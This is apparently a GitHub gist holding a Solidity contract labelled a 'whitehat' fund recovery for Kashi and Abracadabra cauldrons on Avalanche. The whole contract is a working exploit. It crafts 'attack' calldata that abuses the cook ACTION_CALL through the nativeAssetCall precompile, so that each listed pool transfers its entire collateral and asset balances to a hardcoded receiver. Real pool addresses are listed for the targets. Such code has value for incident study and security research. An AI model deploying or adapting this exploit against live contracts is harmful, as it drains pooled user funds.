This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity >=0.8.0; | |
interface IERC20 { | |
// transfer and tranferFrom have been removed, because they don't work on all tokens (some aren't ERC20 complaint). | |
// By removing them you can't accidentally use them. | |
// name, symbol and decimals have been removed, because they are optional and sometimes wrongly implemented (MKR). | |
// Use BoringERC20 with `using BoringERC20 for IERC20` and call `safeTransfer`, `safeTransferFrom`, etc instead. | |
function totalSupply() external view returns (uint256); | |
function balanceOf(address account) external view returns (uint256); | |
function allowance(address owner, address spender) external view returns (uint256); | |
function approve(address spender, uint256 amount) external returns (bool); | |
event Transfer(address indexed from, address indexed to, uint256 value); | |
event Approval(address indexed owner, address indexed spender, uint256 value); | |
/// @notice EIP 2612 | |
function permit( | |
address owner, | |
address spender, | |
uint256 value, | |
uint256 deadline, | |
uint8 v, | |
bytes32 r, | |
bytes32 s | |
) external; | |
} | |
interface IBentobox { | |
function transfer( | |
address token, | |
address from, | |
address to, | |
uint256 share | |
) external; | |
function balanceOf(address token, address account) external view returns (uint256); | |
} | |
interface IKashi { | |
function asset() external view returns (IERC20); | |
function bentoBox() external view returns (address); | |
function collateral() external view returns (IERC20); | |
function cook( | |
uint8[] calldata actions, | |
uint256[] calldata values, | |
bytes[] calldata datas | |
) external payable returns (uint256 value1, uint256 value2); | |
} | |
interface INativeAssetCall { | |
function nativeAssetCall( | |
address addr, | |
uint256 assetID, | |
uint256 assetAmount, | |
bytes memory callData | |
) external returns (bytes memory); | |
} | |
/// @author chmod444.eth | |
contract KashiAvaxWhitehat { | |
uint8 internal constant ACTION_CALL = 30; | |
address internal constant NATIVE_ASSET_CALL = 0x0100000000000000000000000000000000000002; | |
address internal constant MIM = 0x130966628846BFd36ff31a822705796e8cb8C18D; | |
address targetToken; | |
address owner; | |
IBentobox bento; | |
constructor(IBentobox _bento) { | |
owner = msg.sender; | |
bento = _bento; | |
} | |
function saveCauldron(address[] memory _kashi, address receiver) external { | |
require(owner == msg.sender); | |
for (uint256 i = 0; i < _kashi.length; i++) { | |
IKashi kashi = IKashi(_kashi[i]); | |
require(kashi.bentoBox() == address(bento), "wrong bentobox <=> pair"); | |
address collater = address(kashi.collateral()); | |
uint256 collateralAmount = bento.balanceOf(collater, address(kashi)); | |
uint256 assetAmount = bento.balanceOf(MIM, address(kashi)); | |
bytes memory collateralCallData = abi.encodeWithSelector( | |
bento.transfer.selector, | |
collater, | |
address(kashi), | |
receiver, | |
collateralAmount | |
); | |
bytes memory assetCallData = abi.encodeWithSelector(bento.transfer.selector, MIM, address(kashi), receiver, assetAmount); | |
bytes memory attackCollateralCallData = abi.encodePacked( | |
address(bento), | |
uint256(0xec21e629d1252b3540e9d2fcd174a63af081417ea6826612e96815463b8a41d7), | |
uint256(0), | |
collateralCallData | |
); | |
bytes memory attackAssetCallData = abi.encodePacked( | |
address(bento), | |
uint256(0xec21e629d1252b3540e9d2fcd174a63af081417ea6826612e96815463b8a41d7), | |
uint256(0), | |
assetCallData | |
); | |
bytes memory attackActionDataCollateral = abi.encode(NATIVE_ASSET_CALL, attackCollateralCallData, false, false, uint8(0)); | |
bytes memory attackActionDataAsset = abi.encode(NATIVE_ASSET_CALL, attackAssetCallData, false, false, uint8(0)); | |
uint8[] memory actions = new uint8[](2); | |
uint256[] memory values = new uint256[](2); | |
bytes[] memory datas = new bytes[](2); | |
actions[0] = ACTION_CALL; | |
actions[1] = ACTION_CALL; | |
values[0] = 0; | |
values[1] = 0; | |
datas[0] = attackActionDataCollateral; | |
datas[1] = attackActionDataAsset; | |
kashi.cook(actions, values, datas); | |
} | |
} | |
function saveKashi(address[] memory _kashi, address receiver) external { | |
require(owner == msg.sender); | |
for (uint256 i = 0; i < _kashi.length; i++) { | |
IKashi kashi = IKashi(_kashi[i]); | |
require(kashi.bentoBox() == address(bento), "wrong bentobox <=> cauldron"); | |
address collater = address(kashi.collateral()); | |
address asset = address(kashi.asset()); | |
uint256 collateralAmount = bento.balanceOf(collater, address(kashi)); | |
uint256 assetAmount = bento.balanceOf(asset, address(kashi)); | |
bytes memory collateralCallData = abi.encodeWithSelector( | |
bento.transfer.selector, | |
collater, | |
address(kashi), | |
receiver, | |
collateralAmount | |
); | |
bytes memory assetCallData = abi.encodeWithSelector(bento.transfer.selector, asset, address(kashi), receiver, assetAmount); | |
bytes memory attackCollateralCallData = abi.encodePacked( | |
address(bento), | |
uint256(0xec21e629d1252b3540e9d2fcd174a63af081417ea6826612e96815463b8a41d7), | |
uint256(0), | |
collateralCallData | |
); | |
bytes memory attackAssetCallData = abi.encodePacked( | |
address(bento), | |
uint256(0xec21e629d1252b3540e9d2fcd174a63af081417ea6826612e96815463b8a41d7), | |
uint256(0), | |
assetCallData | |
); | |
bytes memory attackActionDataCollateral = abi.encode(NATIVE_ASSET_CALL, attackCollateralCallData, false, false, uint8(0)); | |
bytes memory attackActionDataAsset = abi.encode(NATIVE_ASSET_CALL, attackAssetCallData, false, false, uint8(0)); | |
uint8[] memory actions = new uint8[](2); | |
uint256[] memory values = new uint256[](2); | |
bytes[] memory datas = new bytes[](2); | |
actions[0] = ACTION_CALL; | |
actions[1] = ACTION_CALL; | |
values[0] = 0; | |
values[1] = 0; | |
datas[0] = attackActionDataCollateral; | |
datas[1] = attackActionDataAsset; | |
kashi.cook(actions, values, datas); | |
} | |
} | |
} | |
contract RecoverFunds { | |
IBentobox private constant sushiBento = IBentobox(0x0711B6026068f736bae6B213031fCE978D48E026); | |
IBentobox public constant bentobox = IBentobox(0xf4F46382C2bE1603Dc817551Ff9A7b333Ed1D18f); | |
IBentobox public constant degenbox = IBentobox(0x1fC83f75499b7620d53757f0b01E2ae626aAE530); | |
IBentobox public constant limone = IBentobox(0xD825d06061fdc0585e4373F0A3F01a8C02b0e6A4); | |
address private receiverDegenBox = 0xAE4D3a42E46399827bd094B4426e2f79Cca543CA; | |
address private receiverBentoBox = 0x0F6A5006CcbD35e221E30CBA6C82554357cbB266; | |
constructor() { | |
{ | |
KashiAvaxWhitehat k = new KashiAvaxWhitehat(bentobox); | |
address[] memory cauldrons = new address[](3); | |
cauldrons[0] = 0x3CFEd0439aB822530b1fFBd19536d897EF30D2a2; // AVAX | |
cauldrons[1] = 0x56984F04d2d04B2F63403f0EbeDD3487716bA49d; // wMEMO 1 | |
cauldrons[2] = 0x35fA7A723B3B39f15623Ff1Eb26D8701E7D6bB21; // wMEMO 2 | |
k.saveCauldron(cauldrons, receiverDegenBox); | |
} | |
{ | |
KashiAvaxWhitehat k = new KashiAvaxWhitehat(degenbox); | |
address[] memory cauldrons = new address[](6); | |
cauldrons[0] = 0x95cCe62C3eCD9A33090bBf8a9eAC50b699B54210; // AVAX/USDC | |
cauldrons[1] = 0x3b63f81Ad1fc724E44330b4cf5b5B6e355AD964B; // xJOE | |
cauldrons[2] = 0x0a1e6a80E93e62Bd0D3D3BFcF4c362C40FB1cF3D; // AVAX/USDT | |
cauldrons[3] = 0x2450Bf8e625e98e14884355205af6F97E3E68d07; // AVAX/MIM | |
cauldrons[4] = 0xAcc6821d0F368b02d223158F8aDA4824dA9f28E3; // AVAX/MIM SLP | |
cauldrons[5] = 0xF6BB4627A86CE4AC6d748d4F69856980A305EC99; // Stargate USDC | |
k.saveCauldron(cauldrons, receiverDegenBox); | |
} | |
{ | |
KashiAvaxWhitehat k = new KashiAvaxWhitehat(limone); | |
address[] memory cauldrons = new address[](3); | |
cauldrons[0] = 0x3Cf232F346934B949b99797d225Bb72734731990; // USDC.e/AVAX jLP | |
cauldrons[1] = 0x562Db5B5E95961760806A0435aa292c34919eC47; // TraderJoe AVAX/sAVAX | |
cauldrons[2] = 0x0dFb2cebae775c083911DFc39F7B1596E80D0ecB; // TraderJoe WAVAX/USDC | |
k.saveCauldron(cauldrons, receiverDegenBox); | |
} | |
{ | |
KashiAvaxWhitehat k = new KashiAvaxWhitehat(sushiBento); | |
address[] memory kashiPairs = new address[](2); | |
kashiPairs[0] = 0xea103255F79e1A801B3D60Be10282cF4CF18a317; | |
kashiPairs[1] = 0x3aA5780CD912CD600fE4f2c4Ea8d4DfEb16579d1; | |
k.saveKashi(kashiPairs, receiverBentoBox); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment